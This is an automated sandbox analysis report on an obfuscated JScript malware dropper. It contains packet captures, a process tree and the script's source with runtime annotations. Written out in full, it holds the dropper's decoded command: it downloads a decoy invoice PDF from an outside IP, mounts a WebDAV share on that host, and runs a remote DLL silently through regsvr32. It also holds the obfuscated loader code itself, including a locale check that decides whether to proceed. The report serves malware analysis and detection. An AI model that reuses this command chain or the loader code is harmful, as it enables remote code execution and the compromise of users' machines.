Jan 11, 2025 03:36:32.263479948 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:36:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:36:32.263508081 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:36:32.263520956 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:36:32.263614893 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 03:36:32.263689995 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 03:36:32.263700962 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 03:36:32.263711929 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 03:36:32.263724089 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 03:36:32.263943911 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 03:36:32.263956070 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 11, 2025 03:36:32.268531084 CET	888	IN	Data Raw: 66 9c b0 5c 8b 7c 0f f5 43 85 e1 de e6 5c c9 d2 e4 a7 05 fc 4c 5f f9 44 4e dd ce 64 95 ab fc 8e 85 cf 82 94 41 bf 6b e9 d5 d0 7a 3b 74 7a f6 e4 a9 2b bc e1 73 d9 7d f4 50 5a 5d 42 6b 5e cd ca 33 7c 17 ba b1 f8 2d b5 61 5c f6 23 f0 69 1e 33 bd 7c Data Ascii: f\\|C\L_DNdAkz;tz+s}PZ]Bk^3\|-a\#i3\|2GsrGKhd@B oZ-n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	4280	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:36:34.742974043 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:36:35.519037008 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:36:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:36:28
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1637664207127019.js"
Imagebase:	0x7ff6b7b50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:36:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll
Imagebase:	0x7ff691020000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:36:29
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:36:29
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:36:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:36:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff691020000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:36:34
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff64c330000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:36:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:36:34
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:36:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1644,i,4128501452193625723,2576668886724992794,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function appjv() {	appjv() ➔ undefined
1	tilzt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wuteujm = this[zulityp + bcjez + tfufemkfw + zllgx + rgmpegred + ufyuoxnuf + svfptqh + xscuy] ( this[czqdcwr + bjlefok + gvjmoyrf + tfufemkfw + rwpyc + zulityp + xscuy][ebedkqke + tfufemkfw + rgmpegred + bcjez + xscuy + rgmpegred + abwiepfl + uzahefexu + yknhu + rgmpegred + gvjmoyrf + xscuy] ( czqdcwr + bjlefok + gvjmoyrf + tfufemkfw + rwpyc + zulityp + xscuy + yhzxaxmoh + bjlefok + dzxjdwb + rgmpegred + eljfk + eljfk ) [chhcd + rgmpegred + ggsertmi + chhcd + rgmpegred + bcjez + pkcmjknz] ( mofoo + uxqibde + sxwquf + wmuxtjpbc + umvrcbvn + ebedkqke + jfnjnjokh + chhcd + chhcd + sxwquf + cnlvbd + ikgcq + umvrcbvn + jfnjnjokh + bjlefok + sxwquf + chhcd + vfbkks + ebedkqke + ruakyvqma + svfptqh + xscuy + tfufemkfw + ruakyvqma + eljfk + nwprktad + efjkrd + bcjez + svfptqh + rgmpegred + eljfk + vfbkks + ufyuoxnuf + svfptqh + xscuy + rgmpegred + tfufemkfw + svfptqh + bcjez + xscuy + rwpyc + ruakyvqma + svfptqh + bcjez + eljfk + vfbkks + qzpbacxkm + ruakyvqma + gvjmoyrf + bcjez + eljfk + rgmpegred ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tiplexncn = 0 ; tiplexncn < tilzt[eljfk + rgmpegred + svfptqh + ggsertmi + xscuy + dzxjdwb] ; ++ tiplexncn )
4	{
5	if ( wuteujm == tilzt[tiplexncn] )
6	{
7	wuteujm = true;
8	break ;
9	}
10	}
11	if ( wuteujm !== true )
12	this[czqdcwr + bjlefok + gvjmoyrf + tfufemkfw + rwpyc + zulityp + xscuy][hkmoremj + ovvnrdd + rwpyc + xscuy] ( );
13	this[czqdcwr + bjlefok + gvjmoyrf + tfufemkfw + rwpyc + zulityp + xscuy][ebedkqke + tfufemkfw + rgmpegred + bcjez + xscuy + rgmpegred + abwiepfl + uzahefexu + yknhu + rgmpegred + gvjmoyrf + xscuy] ( czqdcwr + bjlefok + gvjmoyrf + tfufemkfw + rwpyc + zulityp + xscuy + yhzxaxmoh + bjlefok + dzxjdwb + rgmpegred + eljfk + eljfk ) [tfufemkfw + ovvnrdd + svfptqh] ( gvjmoyrf + lslairni + pkcmjknz + nwprktad + kaoyb + gvjmoyrf + nwprktad + zulityp + ruakyvqma + dcgrybx + rgmpegred + tfufemkfw + zllgx + dzxjdwb + rgmpegred + eljfk + eljfk + yhzxaxmoh + rgmpegred + misajks + rgmpegred + nwprktad + sgmiqjifc + ebedkqke + ruakyvqma + lslairni + lslairni + bcjez + svfptqh + pkcmjknz + nwprktad + ykerppvgc + ufyuoxnuf + svfptqh + ycbxfgqj + ruakyvqma + ycmlya + rgmpegred + sgmiqjifc + czqdcwr + rgmpegred + uzahefexu + chhcd + rgmpegred + yacgqarc + ovvnrdd + rgmpegred + zllgx + xscuy + nwprktad + sgmiqjifc + abwiepfl + ovvnrdd + xscuy + dxsbx + rwpyc + eljfk + rgmpegred + nwprktad + zssakea + xscuy + rgmpegred + lslairni + zulityp + zssakea + vfbkks + rwpyc + svfptqh + ycbxfgqj + ruakyvqma + rwpyc + gvjmoyrf + rgmpegred + yhzxaxmoh + zulityp + pkcmjknz + frqkzqo + nwprktad + dzxjdwb + xscuy + xscuy + zulityp + hfjnb + kaoyb + kaoyb + xyngdrgg + gonpp + hwmhwppk + yhzxaxmoh + xyngdrgg + ddxmqbd + hwmhwppk + yhzxaxmoh + xyngdrgg + yhzxaxmoh + wniosjqo + okorig + pvlcawter + kaoyb + rwpyc + svfptqh + ycbxfgqj + ruakyvqma + rwpyc + gvjmoyrf + rgmpegred + yhzxaxmoh + zulityp + dzxjdwb + zulityp + ykerppvgc + tjfwge + tjfwge + zllgx + xscuy + bcjez + tfufemkfw + xscuy + nwprktad + zssakea + xscuy + rgmpegred + lslairni + zulityp + zssakea + vfbkks + rwpyc + svfptqh + ycbxfgqj + ruakyvqma + rwpyc + gvjmoyrf + rgmpegred + yhzxaxmoh + zulityp + pkcmjknz + frqkzqo + tjfwge + tjfwge + gvjmoyrf + lslairni + pkcmjknz + nwprktad + kaoyb + gvjmoyrf + nwprktad + svfptqh + rgmpegred + xscuy + nwprktad + ovvnrdd + zllgx + rgmpegred + nwprktad + vfbkks + vfbkks + xyngdrgg + gonpp + hwmhwppk + yhzxaxmoh + xyngdrgg + ddxmqbd + hwmhwppk + yhzxaxmoh + xyngdrgg + yhzxaxmoh + wniosjqo + okorig + pvlcawter + zpbsszb + xklit + xklit + xklit + xklit + vfbkks + pkcmjknz + bcjez + ycbxfgqj + dcgrybx + dcgrybx + dcgrybx + tfufemkfw + ruakyvqma + ruakyvqma + xscuy + vfbkks + tjfwge + tjfwge + gvjmoyrf + lslairni + pkcmjknz + nwprktad + kaoyb + gvjmoyrf + nwprktad + tfufemkfw + rgmpegred + ggsertmi + zllgx + ycbxfgqj + tfufemkfw + hwmhwppk + wniosjqo + nwprktad + kaoyb + zllgx + nwprktad + vfbkks + vfbkks + xyngdrgg + gonpp + hwmhwppk + yhzxaxmoh + xyngdrgg + ddxmqbd + hwmhwppk + yhzxaxmoh + xyngdrgg + yhzxaxmoh + wniosjqo + okorig + pvlcawter + zpbsszb + xklit + xklit + xklit + xklit + vfbkks + pkcmjknz + bcjez + ycbxfgqj + dcgrybx + dcgrybx + dcgrybx + tfufemkfw + ruakyvqma + ruakyvqma + xscuy + vfbkks + hwmhwppk + xyngdrgg + xyngdrgg + pvlcawter + pvlcawter + hwmhwppk + hwmhwppk + ddxmqbd + xyngdrgg + sosye + xklit + wniosjqo + okorig + yhzxaxmoh + pkcmjknz + eljfk + eljfk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3115533417820.dll",0,false) ➔ 0
14	}
15	jfnjnjokh = "L";
16	jfnjnjokh = "w";
17	jfnjnjokh = "I";
18	jfnjnjokh = "p";
19	jfnjnjokh = "c";
20	jfnjnjokh = "b";
21	jfnjnjokh = "R";
22	jfnjnjokh = "S";
23	jfnjnjokh = "s";
24	jfnjnjokh = "V";
25	jfnjnjokh = "D";
26	jfnjnjokh = "f";
27	jfnjnjokh = "L";
28	jfnjnjokh = "A";
29	jfnjnjokh = "Q";
30	jfnjnjokh = "c";
31	jfnjnjokh = "q";
32	jfnjnjokh = "h";
33	jfnjnjokh = "K";
34	jfnjnjokh = "A";
35	jfnjnjokh = "Z";
36	jfnjnjokh = "P";
37	jfnjnjokh = "h";
38	jfnjnjokh = "U";
39	hfjnb = "O";
40	hfjnb = "F";
41	hfjnb = "G";
42	hfjnb = "m";
43	hfjnb = "R";
44	hfjnb = "Q";
45	hfjnb = "F";
46	hfjnb = "E";
47	hfjnb = "h";
48	hfjnb = "M";
49	hfjnb = "O";
50	hfjnb = "q";
51	hfjnb = "O";
52	hfjnb = "B";
53	hfjnb = "g";
54	hfjnb = "e";
55	hfjnb = "r";
56	hfjnb = "P";
57	hfjnb = "n";
58	hfjnb = "I";
59	hfjnb = "V";
60	hfjnb = "Z";
61	hfjnb = "R";
62	hfjnb = "M";
63	hfjnb = "C";
64	hfjnb = "U";
65	hfjnb = "R";
66	hfjnb = "e";
67	hfjnb = "G";
68	hfjnb = "t";
69	hfjnb = "Q";
70	hfjnb = "T";
71	hfjnb = "e";
72	hfjnb = "o";
73	hfjnb = ":";
74	cnlvbd = "F";
75	cnlvbd = "l";
76	cnlvbd = "d";
77	cnlvbd = "O";
78	cnlvbd = "G";
79	cnlvbd = "s";
80	cnlvbd = "H";
81	cnlvbd = "I";
82	cnlvbd = "M";
83	cnlvbd = "a";
84	cnlvbd = "C";
85	cnlvbd = "Q";
86	cnlvbd = "X";
87	cnlvbd = "C";
88	cnlvbd = "T";
89	cnlvbd = "J";
90	cnlvbd = "t";
91	cnlvbd = "M";
92	cnlvbd = "d";
93	cnlvbd = "R";
94	cnlvbd = "h";
95	cnlvbd = "W";
96	cnlvbd = "z";
97	cnlvbd = "Q";
98	cnlvbd = "N";
99	pvlcawter = "N";
100	pvlcawter = "u";
101	pvlcawter = "R";
102	pvlcawter = "w";
103	pvlcawter = "L";
104	pvlcawter = "u";
105	pvlcawter = "L";
106	pvlcawter = "n";
107	pvlcawter = "u";
108	pvlcawter = "B";
109	pvlcawter = "C";
110	pvlcawter = "s";
111	pvlcawter = "y";
112	pvlcawter = "o";
113	pvlcawter = "E";
114	pvlcawter = "L";
115	pvlcawter = "M";
116	pvlcawter = "p";
117	pvlcawter = "5";
118	frqkzqo = "t";
119	frqkzqo = "X";
120	frqkzqo = "S";
121	frqkzqo = "w";
122	frqkzqo = "l";
123	frqkzqo = "f";
124	yhzxaxmoh = "I";
125	yhzxaxmoh = "A";
126	yhzxaxmoh = "O";
127	yhzxaxmoh = "O";
128	yhzxaxmoh = "f";
129	yhzxaxmoh = "R";
130	yhzxaxmoh = "W";
131	yhzxaxmoh = "k";
132	yhzxaxmoh = ".";
133	ovvnrdd = "U";
134	ovvnrdd = "U";
135	ovvnrdd = "P";
136	ovvnrdd = "x";
137	ovvnrdd = "q";
138	ovvnrdd = "u";
139	ovvnrdd = "T";
140	ovvnrdd = "q";
141	ovvnrdd = "i";
142	ovvnrdd = "G";
143	ovvnrdd = "u";
144	ddxmqbd = "q";
145	ddxmqbd = "Z";
146	ddxmqbd = "4";
147	abwiepfl = "E";
148	abwiepfl = "O";
149	xklit = "l";
150	xklit = "W";
151	xklit = "D";
152	xklit = "e";
153	xklit = "Z";
154	xklit = "j";
155	xklit = "m";
156	xklit = "U";
157	xklit = "o";
158	xklit = "y";
159	xklit = "N";
160	xklit = "W";
161	xklit = "D";
162	xklit = "s";
163	xklit = "z";
164	xklit = "Q";
165	xklit = "j";
166	xklit = "D";
167	xklit = "K";
168	xklit = "8";
169	ikgcq = "f";
170	ikgcq = "I";
171	ikgcq = "X";
172	ikgcq = "S";
173	ikgcq = "m";
174	ikgcq = "F";
175	ikgcq = "j";
176	ikgcq = "K";
177	ikgcq = "v";
178	ikgcq = "o";
179	ikgcq = "U";
180	ikgcq = "f";
181	ikgcq = "E";
182	ikgcq = "r";
183	ikgcq = "L";
184	ikgcq = "w";
185	ikgcq = "i";
186	ikgcq = "C";
187	ikgcq = "A";
188	ikgcq = "P";
189	ikgcq = "G";
190	ikgcq = "D";
191	ikgcq = "G";
192	ikgcq = "d";
193	ikgcq = "P";
194	ikgcq = "W";
195	ikgcq = "I";
196	ikgcq = "X";
197	ikgcq = "C";
198	ikgcq = "I";
199	ikgcq = "H";
200	ikgcq = "R";
201	ikgcq = "P";
202	ikgcq = "T";
203	tjfwge = "u";
204	tjfwge = "E";
205	tjfwge = "i";
206	tjfwge = "U";
207	tjfwge = "F";
208	tjfwge = "c";
209	tjfwge = "&";
210	rwpyc = "m";
211	rwpyc = "k";
212	rwpyc = "g";
213	rwpyc = "A";
214	rwpyc = "A";
215	rwpyc = "F";
216	rwpyc = "m";
217	rwpyc = "k";
218	rwpyc = "C";
219	rwpyc = "x";
220	rwpyc = "Z";
221	rwpyc = "P";
222	rwpyc = "B";
223	rwpyc = "L";
224	rwpyc = "Z";
225	rwpyc = "W";
226	rwpyc = "G";
227	rwpyc = "F";
228	rwpyc = "h";
229	rwpyc = "A";
230	rwpyc = "Q";
231	rwpyc = "I";
232	rwpyc = "F";
233	rwpyc = "g";
234	rwpyc = "q";
235	rwpyc = "i";
236	qzpbacxkm = "C";
237	qzpbacxkm = "f";
238	qzpbacxkm = "o";
239	qzpbacxkm = "m";
240	qzpbacxkm = "Y";
241	qzpbacxkm = "h";
242	qzpbacxkm = "L";
243	wmuxtjpbc = "N";
244	wmuxtjpbc = "v";
245	wmuxtjpbc = "u";
246	wmuxtjpbc = "Y";
247	chhcd = "N";
248	chhcd = "H";
249	chhcd = "A";
250	chhcd = "H";
251	chhcd = "A";
252	chhcd = "B";
253	chhcd = "L";
254	chhcd = "Q";
255	chhcd = "i";
256	chhcd = "w";
257	chhcd = "D";
258	chhcd = "H";
259	chhcd = "H";
260	chhcd = "s";
261	chhcd = "V";
262	chhcd = "q";
263	chhcd = "h";
264	chhcd = "W";
265	chhcd = "M";
266	chhcd = "j";
267	chhcd = "b";
268	chhcd = "q";
269	chhcd = "l";
270	chhcd = "E";
271	chhcd = "w";
272	chhcd = "t";
273	chhcd = "U";
274	chhcd = "d";
275	chhcd = "r";
276	chhcd = "N";
277	chhcd = "E";
278	chhcd = "I";
279	chhcd = "Q";
280	chhcd = "p";
281	chhcd = "h";
282	chhcd = "I";
283	chhcd = "C";
284	chhcd = "b";
285	chhcd = "D";
286	chhcd = "i";
287	chhcd = "O";
288	chhcd = "R";
289	nwprktad = "C";
290	nwprktad = "R";
291	nwprktad = "s";
292	nwprktad = "L";
293	nwprktad = "A";
294	nwprktad = "L";
295	nwprktad = "X";
296	nwprktad = "k";
297	nwprktad = "c";
298	nwprktad = "k";
299	nwprktad = "x";
300	nwprktad = "u";
301	nwprktad = "Q";
302	nwprktad = "Y";
303	nwprktad = "N";
304	nwprktad = "j";
305	nwprktad = "d";
306	nwprktad = "v";
307	nwprktad = "H";
